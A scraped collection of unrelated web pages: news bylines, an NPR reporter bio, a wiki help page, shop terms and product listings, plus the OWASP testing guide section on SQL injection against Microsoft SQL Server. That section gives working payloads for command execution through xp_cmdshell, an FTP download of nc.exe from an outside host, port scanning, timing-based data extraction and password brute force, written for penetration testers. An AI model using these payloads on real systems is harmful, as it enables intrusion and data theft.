Follow Joan Lowy on Twitter at https://www.twitter.com/AP_Joan_Lowy
Copyright © 2013 The Associated Press. All rights reserved.
Copyright © 2013 Capitol Hill Blue


text:
No two people view the world in quite the same way. So whether you look at your world through the shiny prism of a newly built home or the quiet comfort of an older one, Ply Gem Windows and Patio Doors are made with your vision in mind. With a broad range of innovative, energy efficient and aesthetically pleasing new construction and replacement windows and patio doors, Ply Gem has the style, material and performance to match your needs, architecture and your budget.
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text:
Tom Goldman
Tom Goldman is NPR's sports correspondent. His reports can be heard throughout NPR's news programming, including Morning Edition and All Things Considered, and on NPR.org.
With a beat covering the entire world of professional sports, both in and outside of the United States, Goldman reporting covers the broad spectrum of athletics from the people to the business of athletics.
During his nearly 30 years with NPR, Goldman has covered every major athletic competition including the Super Bowl, the World Series, the NBA Finals, golf and tennis championships, and the Olympic Games.
His pieces are diverse and include both perspective and context. Goldman often explores people's motivations for doing what they do, whether it's solo sailing around the world or pursuing a gold medal. In his reporting, Goldman searches for the stories about the inspirational and relatable amateur and professional athletes.
Goldman contributed to NPR's 2009 Edward R. Murrow award for his coverage of the 2008 Beijing Olympics and to a 2010 Murrow Award for contribution to a series on high school football, "Friday Night Lives." Earlier in his career, Goldman's piece about Native American basketball players earned a 2004 Dick Schaap Excellence in Sports Journalism Award from the Center for the Study of Sport in Society at Northeastern University and a 2004 Unity Award from the Radio-Television News Directors Association.
In January 1990, Goldman came to NPR to work as an associate producer for sports with Morning Edition. For the next seven years he reported, edited, and produced stories and programs. In June 1997, he became NPR's first full-time sports correspondent.
For five years before NPR, Goldman worked as a news reporter and then news director in local public radio. In 1984, he spent a year living on an Israeli kibbutz. Two years prior he took his first professional job in radio in Anchorage, Alaska, at the Alaska Public Radio Network.
Known as the "Say Hey Kid," Mays' career spanned more than two decades, from the 1950s to 1970s. He spent nearly all of those years with the Giants – first in New York and then in San Francisco.
Willie Mays is widely considered to be the greatest baseball player of all time. The 'Say Hey Kid' had incomparable skills and an infectious smile. He dazzled on the field and off.
During his nine-year Hall of Fame career with the Cleveland Browns, Jim Brown averaged more than a hundred yards rushing in every regular season game. He's the only player in NFL history to do that.
Women's basketball star Brittney Griner meets the press on Thursday ahead of the WNBA season. Griner has said little publicly since her release from Russia after a months-long detention.
So far there's been drama in nearly every series in the first round of the NBA playoffs: upsets, injuries to key players and older stars are flexing their aging muscles.
The Oakland A's take a step toward moving to Las Vegas, and an ALMOST perfect game for the Chicago Cubs. Plus, Tom Goldman says goodbye - he's retiring!
The NBA Playoffs get underway later Tuesday and — for the first time ever — not a single team from Texas will be playing and all four teams from California made the playoffs.
There'll be a showdown in Dallas Friday night as the Final Four teams in the NCAA women's basketball tournament get ready to battle: LSU vs. Virginia Tech and then Iowa vs. South Carolina.
There'll be a showdown in Dallas Friday night as the Final Four teams in the NCAA women's basketball tournament get ready to battle: LSU vs. Virginia Tech and then Iowa vs. South Carolina.
It's Opening Day for Major League Baseball. The league is hoping that some new rules this season will mean big changes for players — and for fans.


text:
WSTG - Latest
Testing for SQL Server
In this section some SQL Injection techniques that utilize specific features of Microsoft SQL Server will be discussed.
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.
As explained in SQL injection, a SQL-injection exploit requires two things: an entry point, and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:
- Application parameters in query strings (e.g., GET requests)
- Application parameters included as part of the body of a POST request
- Browser-related information (e.g., user-agent, referrer)
- Host-related information (e.g., hostname, IP)
- Session-related information (e.g., user ID, cookies)
Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.
How to Test
SQL Server Characteristics
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:
- comment operator:
(useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case) - query separator:
(semicolon) - Useful stored procedures include:
- xp_cmdshell executes any command shell in the server with the same permissions that it is currently running. By default, only
is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure) xp_regread
reads an arbitrary value from the Registry (undocumented extended procedure)xp_regwrite
writes an arbitrary value into the Registry (undocumented extended procedure)- sp_makewebtask Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires
privileges. - xp_sendmail Sends an email message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
- xp_cmdshell executes any command shell in the server with the same permissions that it is currently running. By default, only
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the exec
Below we show how to execute a shell command that writes the output of the command dir c:\inetpub
in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
Alternatively, we can use sp_makewebtask
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask
is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function db_name()
to trigger an error that will return the name of the database:
Notice the use of convert:
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
will try to convert the result of db_name
(a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.
The following example uses the environment variable @@version
, combined with a union select
-style injection, in order to find the version of the SQL Server.
And here's the same attack, but using again the conversion trick:
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.
Example 1: Testing for SQL Injection in a GET Request
The most simple (and sometimes most rewarding) case would be that of a login page requesting an username and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.
Example 2: Testing for SQL Injection in a GET Request
In order to learn how many columns exist
Example 3: Testing in a POST Request
SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
A complete post example (https://vulnerable.web.app/forgotpass.asp
POST /forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
The error message obtained when a '
(single quote) character is entered at the email field is:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15
Example 4: Yet Another (Useful) GET Example
Obtaining the application's source code
a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
Example 5: Custom xp_cmdshell
All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell
in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
On SQL Server 2000:
- If
has been disabled withsp_dropextendedproc
, we can simply inject the following code:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
- If the previous code does not work, it means that the
has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell
using sp_oacreate
, sp_oamethod
and sp_oadestroy
(as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell
we created (even if it was not working), otherwise the two declarations will collide.
On SQL Server 2005, xp_cmdshell
can be enabled by injecting the following code instead:
master..sp_configure 'show advanced options',1
master..sp_configure 'xp_cmdshell',1
Example 6: Referer / User-Agent
The REFERER
header set to:
Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:
User-Agent: user_agent', 'some_ip'); [SQL CODE]--
Example 7: SQL Server as a Port Scanner
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
SQL Server does not exist or access denied
On the other hand, if the port is open, one of the following errors will be returned:
General network error. Check your network documentation
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.
Example 8: Upload of Executables
Once we can use xp_cmdshell
(either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe
, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
At this point, nc.exe
will be uploaded and available.
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe
, that is installed by default in all Windows machines. Debug.exe
is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe
on it. There are several tools that create such debug files (e.g.: makescr.exe
by Ollie Whitehouse and dbgtool.exe
by toolcrypt.org
). The queries to inject will therefore be the following:
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat
, which runs on Windows, and Sqlninja
, which runs on Unix (See the tools at the bottom of this page).
Obtain Information When It Is Not Displayed (Out of Band)
Not all is lost when the web application does not return any information –such as descriptive error messages (cf. Blind SQL Injection). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.
Other options for out of band attacks are described in Sample 4 above.
Blind SQL Injection Attacks
Trial and Error
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors against this channel and watch the response. For example, if the web application is looking for a book using a query
select * from books where title="text entered by the user"
then the penetration tester might enter the text: 'Bomba' OR 1=1-
and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later play
with the queries in order to assess the criticality of this vulnerability.
NOTE: Take care when injecting the condition OR 1=1 into a SQL query. Although this may be harmless in the initial context you're injecting into, it's common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, this can result in an accidental loss of data.
If Multiple Error Messages Displayed
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any covert channel
. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:
- In some cases the web application (actually the web server) might return the traditional
500: Internal Server Error
, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes. - While in other cases the server will return a
message, but the web application will return some error message inserted by the developersInternal server error
orbad data
This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.
Timing Attacks
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley from where we take the next examples. A typical approach uses the waitfor delay
command: let's say that the attacker wants to check if the pubs
sample database exists, he will simply inject the following command:
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a SQL injection vulnerability
and a covert channel
that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query
declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'
Measuring the response time and using different values for @i
, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
This query will wait for 5 seconds if bit @bit
of byte @byte
of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte
and one for @bit
) we will we able to extract the whole piece of information.
However, it might happen that the command waitfor
is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example
declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
Checking for Version and Vulnerabilities
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version
variable. Consider the following query:
select @@version
On SQL Server 2005, it will return something like the following:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37
The 2005
part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:
if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'
Such query will wait 5 seconds if the 25th character of the @@version
variable is 5
, showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.
Example 9: Bruteforce of Sysadmin Password
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET
needs proper credentials to successfully perform the connection and that such a connection can also be "looped" to the local DB Server. Combining these features with an inference injection attack based on response timing, we can inject the following code:
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
What we are doing here is attempting a connection to the local database (specified by the empty field after SQLOLEDB
) using sa
and <pwd>
as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:
- Inject all following queries using
, in order to use sysadmin privileges - Add our current user to the sysadmin group using
. The current username can be extracted using inference injection against the variablesystem_user
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.
- David Litchfield: "Data-mining with SQL Injection and Inference"
- Chris Anley, "(more) Advanced SQL Injection"
- Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example"
- Alexander Chigrik: "Useful undocumented extended stored procedures"
- Antonin Foller: "Custom xp_cmdshell, using shell object"
- SQL Injection
- Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection, uploading files, getting into internal network, port scanning, DOS


text:
Help:Editing pages
{{#invoke:Template translation|renderTranslatedTemplate|template=PD Help Page/core}}
It's very easy to edit the contents of a wiki:
- Click the "Edit" page tab at the top of the page.
- Make changes to the text.
- Click the "Save page" button.
Simple as that!
Editing rules, editing conventions, and formatting
The number one rule of wiki editing is to be bold. Go ahead - make changes. Other people can correct any mistakes you make, so have confidence, and give it a try! There are all kinds of editing conventions, rules, and philosophies for the editing of wiki pages, but the "be bold" rule is the most important of these!
An edit can contribute whole new paragraphs or pages of information, or it can be as simple as fixing a typo or a spelling mistake. In general, try to add or edit text so that it is clear and concise. Most importantly, make sure you are always aiming to do something which improves the contents of the wiki.
When you need to use some type of formatting, such as for a new headings or bolding of text, you do this using wiki syntax or the buttons in the edit toolbar above the editing zone. See Help:Formatting for some of the common types of formatting used.
Edit summary
Before you save a change, you can enter a short note in the "Summary:" box describing your changes. Don't worry too much about this, or spend too much time thinking about it: just put in a short description of what you just changed. For example, you might say "fixed typo" or "added more information about sunflowers".
This summary gets stored alongside your edit, and allows people to track changes in the wiki more effectively.
It's a good idea to use the "Show preview" button to see what your change will look like, before you save it. This is also related to tracking changes because every time you save, this is displayed to others as a separate change. This isn't something to worry about too much, but it's good to get into the habit of eliminating mistakes in your own work, by using a preview before saving, rather than saving, then having to do another edit just to make one or more minor corrections.
Show changes
Another option is the "Show changes" button which allows you to see the differences between the current version and your edited version.
Other types of editing
With wiki edits you can start a new page, move (or rename) a page, or even delete a page:
Remember you should always aim to improve the overall contents of the wiki with your edits.
Every article has its own "talk page" where you can ask questions, make suggestions, or discuss corrections. See Help:Talk pages.
- REDIRECTTemplate:Langcat]]
- REDIRECTTemplate:Langcat|Editing pages]]


text:
Spyder 12 H Yellow Gold
A refined bracelet version of the Spyder line that reinterprets the distinctive shield shape in a more slender design, the result of the continuous search for innovation by the Tonino Lamborghini style office, which evokes a history steeped in speed, power and reliability – while the chronograph movement of high precision is inspired by the chronometers used in car racing, guaranteeing a unique and sophisticated experience.
Rose Gold
Stainless steel bracelet, deployant buckle with engraved logo.
228 gr
Miyota FS10 (date) quartz chronograph
Water resistance
Brushed, shiny and sandblasted stainless steel case and bezel, sapphire glass with antireflective coating.
15,50 mm
46,5 x 53 mm
Carbon fiber, 3 debossed counters and appliqued indexes. Luminova on indexes, hour & minute hands.
Legal guarantee
Product information
The delivery is supported in the following countries:
- Belgium
- Bulgaria
- Croatia
- Czech Republic
- Denmark
- Germany
- Estonia
- Ireland
- Greece
- Spain
- France
- Italy
- Latvia
- Lithuania
- Luxembourg
- Hungary
- Netherlands
- Austria
- Poland
- Portugal
- Romania
- Slovenia
- Slovakia
- Sweden
- Finland
Non-European Countries (DDU)
- Albania
- Argentina
- Armenia
- Australia
- Azerbaijan
- Barbados
- Bahrain
- Belarus
- Brazil
- Bulgaria
- Canada
- Chile
- Colombia
- Cyprus
- United Arab Emirates
- Georgia
- United Kingdom
- India
- Indonesia
- Israel
- Japan
- Kazakhstan
- Kosovo
- Kuwait
- Lebanon
- Malaysia
- Malta
- Mexico
- Monaco
- Morocco
- New Zealand
- Norway
- Pakistan
- Qatar
- Russia – temporarily suspended
- Saudi Arabia
- Serbia
- Singapore
- South Africa
- South Korea
- Switzerland
- Thailand
- Tunisia
- Turkey
- Ukraine
- United States
- Vietnam
T-Data S.r.l confirms the acceptance of order processing by sending a summary email to the email address provided by the Customer in the order itself. It prepares the goods included in the order and entrusts them to the Courier with the original manufacturer's packaging or with cardboard boxes properly sealed. The timing for entrusting the products to the Courier is "Within the next working day from the order date."
The goods are shipped from T-Data Italia warehouses, specifically from "T-Data_TL Module L1, Via Strasburgo 31, 41011 Campogalliano (MO)."
Deliveries are made from Monday to Friday, from 9 am to 6 pm, excluding national holidays. In the case of multiple orders, separate delivery is not provided; instead, the products will be delivered together in a single shipment. The order summary and the confirmation email will indicate the terms within which T-Data S.r.l undertakes to deliver the products ordered by the user, barring unforeseen circumstances. T-Data S.r.l uses the following couriers: DHL, BRT, GLS, SDA.
Import costs
For some of the sales destination countries (see "Tracked Express Courier Shipping" table) it may be necessary to pay import costs. These are a charge applied to shipments by the customs authority of the destination country or region. They are calculated based on the following factors: the declared value and shipping costs of the product, the product category, the country and region of origin, the customs tariffs of the destination country, applicable trade treaties.
Delivered Duty Unpaid (DDU). This term indicates that the seller assumes only responsibility for shipping the product and that, upon delivery, the customer is responsible for paying the shipping carrier any import costs. In this case the amount paid by the customer during checkout does not include any import cost.
Shipment Tracking
Once the order has been dispatched, the customer will receive an email with tracking information for the package. Twenty-four hours after the order has been sent, it will be possible to view the shipment status by clicking on the tracking link provided in the email.
Checking the Packages
We suggest you check the following in the presence of the delivery driver:
- That the number of packages corresponds to that indicated on the delivery note (handed to you by the courier).
- That the packaging is in good condition: no visible damage, tampering, wetness or alteration to the sealing tape.
- That the size of the product packaging and any information contained on it appear to coincide with the order.
Any exterior damage or missing packages must immediately be brought to the attention of the courier in writing on the delivery note, and also notified to T-Data s.r.l within 8 days.
If it is not possible to check the condition of the product at the time of delivery, we suggest you sign for delivery "unchecked/with reservation".
Once the delivery note has been signed and handed to the courier, it will no longer be possible to contest the quantity and condition of the goods delivered.
Delays in Delivery
In the event that the purchased product is not delivered, or arrives later than specified in the indicated Terms of Delivery, the user can specify a supplementary date. The user shall have the right to terminate the contract in the following cases:
- Delay in delivery greater than 10 working days from
the original delivery date.
Upon termination of the contract, the user will be reimbursed the total cost of the order, including shipping fees.
- Delivery is not possible to the following locations:
Italy: Livigno, Campione D'Italia - Germany: the island of Helgoland and the territory of Büsingen
- Spain: Andorra and Gibraltar, Balearic Islands, Canary Islands-Ceuta-Melilla
- France: Corsica, New Caledonia, Saint-Pierre and Miquelon, the Wallis and Futuna Islands, French Polynesia and the French Southern and Antarctic Territories
Payment method
The supported methods of payment are as follows:
- Credit Card
- PayPal
- ApplePay and GooglePay Wallet (via Shopift Payments)
Credit Card. We accept most major credit cards: Visa, Mastercard, Maestro.
No surcharge will be added to credit card payments.
All credit cards will require the CVV2 code to be entered, otherwise the order will be cancelled. For Visa, Mastercard cards, the CVV2 corresponds to the last 3 digits on the rear of the card. It is possible that after entering the card details and CVV2, an additional code or certain specific data are also required. This happens because some card issuers impose an additional layer of security for online purchases. To find out how to enable your credit card for online purchases, or to set up the code or password required for the authentication procedure, contact your bank or card issuer.
T-Data S.r.l. uses the secure payment service Shopify Payments native in Shopify platform. Data exchange involves the use of SSL security protocol. All confidential information about the credit card (credit card number, card holder name, expiration date, card security code) are collected directly from Shopify. T-Data S.r.l. The debit on the credit card occurs only when entering the order. The credit card data are not visible to T-Data S.r.l.,
only to the provider, with the exception of the card holder's name in order to verify their identity.
PayPal is an online payment system which requires a PayPal account to be opened. No surcharge will be added to PayPal payments. When this payment method is selected, clicking "confirm" on the checkout page will redirect you to PayPal where you will need to enter the email address and password for your Paypal account in order to complete payment for the order.
PayPal will send out a confirmation email for all purchases made using this payment method.
The PayPal account is only charged when the products are shipped. T-Data S.r.l will confirm that the order has been handed to the courier by sending an email to the address provided by the customer when placing the order: only at this point will the funds be debited from the PayPal account used.
GooglePay and ApplePay Wallet
Google Pay makes it possible to pay easily and securely through a quick check-out process. When you pay for an order using Google Pay, it is not necessary to manually enter credit card data. By pressing the Google Pay button, it will provide the payment information. To view the Google Pay button in the Checkout on this site, you will need to set it up on your device and use one of the following supported browsers from your desktop or mobile device: Google Chrome, Mozilla Firefox, UCWeb UC Browser.
Apple Pay makes it possible to pay easily and check out using Safari on iPhone, iPad and Mac. Apple Pay offers a quick check-out process. When you pay for your order using Apple Pay, it is not necessary to manually enter credit card data. By pressing the Apple Pay button and scanning your fingerprints, Apple Pay will provide the payment information. To view the Apple Pay button in the Checkout on this site, you will need to set it up on your device using Safari on iOS 12.1 or macOS 10.14.1 with one of the following devices: iPhone (SE, 6, 6 Plus or more recent), iPad (Pro, Air 2, mini 3 or more recent), Apple Watch, MacBook Pro with Touch ID, any Mac model (2012 or more recent) or iPhone or Apple Watch with Apple Pay enabled.
For GooglePay and ApplePay payments, T-Data S.r.l. uses the secure payment service Shopify Payments native in Shopify platform. No surcharge will be added to GooglePay and ApplePay Stripe payments.
Data exchange involves the use of SSL security protocol. All confidential information about the credit card (credit card number, card holder name, expiration date, card security code) are collected directly from Shopify. The debit on the credit card occurs only when entering the order.
The credit card data are not visible to T-Data S.r.l., only to the provider, with the exception of the card holder's name in order to verify their identity.
Return and refund
If you purchased a product on our website you can exercise the right of withdrawal, which means you decide to return the product, without having to provide any reason and without incurring any penalty, within a period of 14 days.
The withdrawal period ends after 14 days:
a) in the case of an order for a single product, from the day when you or a third party, other than the transport company you chose, takes possession of the goods;
b) in the case of an order for the delivery of a product comprising multiple lots or items, from the day when you or a third party, other than the transport company you chose, takes possession of the last lot or item.
To exercise your right of withdrawal, you must inform us of your decision to withdraw from this contract, providing a specific statement, for example a letter sent by post or email (contact details: T-Data- s.r.l., Via Strasburgo 31, 41011, Campogalliano (MO), email "email@example.com").
T-Data S.r.l. ("T-Data S.r.l.") also gives you the chance to withdraw online, by filling in the form at the bottom of this page. If you do withdraw online, T-Data s.r.l. will promptly send you an email confirming it has received your request to withdraw. You may be asked to indicate why you want to withdraw, however you do not need to reply. Not giving a reason for withdrawing will not have any effect on your right of withdrawal. In all cases of withdrawal, regardless of the procedure, T-Data s.r.l. will send you an email with a PDF attachment containing the RMA code. Please put this code in the parcel when returning the Product, to help us manage the procedure. If possible, please put the product to return in its original packaging.
To meet the deadline for withdrawal, you simply need to send the notice to exercise your right of withdrawal before the end of the withdrawal period.
Effects of withdrawal
If you withdraw from the contract and have met the requirements to exercise
your right of withdrawal, you will be reimbursed all payments you have made to
us regarding the product covered by withdrawal, including delivery costs, if
applicable (with the exception of partial withdrawal concerning multiple
orders), without undue delay and, in any case, no later than 14 calendar days
from when we receive your return shipment. In the case of partial withdrawal
concerning multiple orders, delivery costs will not be repaid, as they do not
refer to the delivery of the products for which you have exercised withdrawal.
This is because the delivery cost does not depend on the number of products in
the order or their weight, but is a fixed amount. Delivery costs will instead
be repaid if the withdrawal concerns all products of a multiple order. All
amounts will be reimbursed using the same payment method you used for the
initial transaction, unless otherwise specifically agreed with you. In any
case, you will not have to pay any cost as a result of this reimbursement. The
reimbursement may be suspended until the goods have been received, or until the
consumer has demonstrated that the goods have been sent back.
Please send goods back to:
"T-Data_TL modulo L1, Via Strasburgo 31, 41011 Campogalliano (MO)"
The return shipment conisgnee must be "T-Data_TL modulo L1"
You can use a transport company of your choice, without delay,
and in any case within 14 days from informing us of your decision to withdraw.
This deadline is met if you send back the goods before the period of fourteen
days ends.
You will pay for the direct costs to return the goods.
In any case, you are only responsible for a decrease in the value of the goods
resulting from handling other than that necessary to establish the nature,
characteristics and functioning of the good.
Please note that your right of withdrawal does not apply in the cases indicated
in article 59 of Legislative Decree no. 206/2005 - Consumer Code.
If you wish to return your order, you can follow the steps
Enter the information in the
form below
After the appropriate checks,
you will receive an e-mail at your address containing: instructions on
returning the idem and the RMA code. Follow the instructions carefully.
Print the email message, put it in the package and send it together with
the item to be returned.
As soon as we receive your
package and check the product, we will issue a refund for the returned
Important: We recommend that you ensure that the
destination "T-Data_TL module L1" is clearly stated on the return
package. To shorten the management time as much as possible, we require that
the RMA number is also reported outside the package and clearly visible.


text:
Damask Photo Backdrop - Yellow Grunge
Poly-Paper Backdrops
Poly-paper is a lightweight tear-resistant material that is both water and tear-resistant. While not as heavy as a vinyl-canvas backdrop, poly-paper can be used over and over without damage as long as properly cared for and stored properly. (We recommend storing your backdrop in the shipping tube it came in for the highest level of protection.) Poly-paper offers incredible print quality with sharp lines and vibrant colors and is 100% glare free with natural light, continuous lighting and strobes as well! Poly-paper is not recommended to be used as a floordrop.
Vinyl Canvas Backdrops/ Floordrops
Our vinyl canvas material is of the highest quality used in the backdrop market and one of the few Made in the USA! We use only the best quality block out vinyl banner material that provides extremely high print quality mixed with incredible durability. The super-smooth surface renders high resolution print images with crisp lines and vibrant colors that pop. Vinyl is tear proof, water proof and can be used outdoors. Vinyl backdrops can double as floordrops with no worries of scuffing or tearing. Like our poly-paper it is 100% glare free with natural light, continuous lighting and strobes as well! (We recommend storing your backdrop in the shipping tube it came in for the highest level of protection.)
Canvas Backdrops and Quick Clean Backdrops™ (Cake Smash Floordrops)
Canvas backdrops are printed on the "Original" inkjet canvas 100% Made in the USA by the inventor of the material! It is the same canvas used by our sister company to print gallery wraps. Our canvas is a poly/cotton blend that is specially formulated for high print quality and long term print durability it comes coated with a UV protective coating that can be cleaned with a mild detergent and water to remove frosting from cake smashe sessions. We do not recommend the use of deeply colored frosting as it can stain even the laminate. Lighter colored frosting works best and is easily removed.
Popular Sizes
24" x 24" - Small Product Photography / Dessert & Food Photography
36" x 36" - Close-up Head Shots / Close-up Newborn Photography
50" x 50" - 1-2 people sitting or head-shots / Toddler Photography / Sitting Down Photos
60" x 60" - 3-5 people sitting or head-shots / Newborn photography / Smash the Cake
60" x 72" - 3-5 people sitting or head-shots / Newborn photography / Teen Photography
60" x 84" - 3-5 people standing or head-shots / Senior photography / Bridal Portraits


text:
1. The Internet store ["Store"] engages in retail selling via the Internet pursuant to the present set of rules ["Rules"].
2. The owner of the Store is based in , address ul. , NIP (tax ID): , tel. , e-mail .
3. The Rules are an integral part of the contract of sale concluded with the Customer.
4. The conclusion of a contract of sale is conditional on the Customer's accepting the Rules.
5. Prices given in the Store are gross prices (they include VAT).
6. The goods available from the Store are free of physical and legal defects.
1. Orders can be placed in the following manner:
a) using the form available on the Store's website,
b) by e-mail to the address available on the Store's website,
c) by telephone on the numbers intended for the placing of orders, available on the Store's website on the Contact tab.
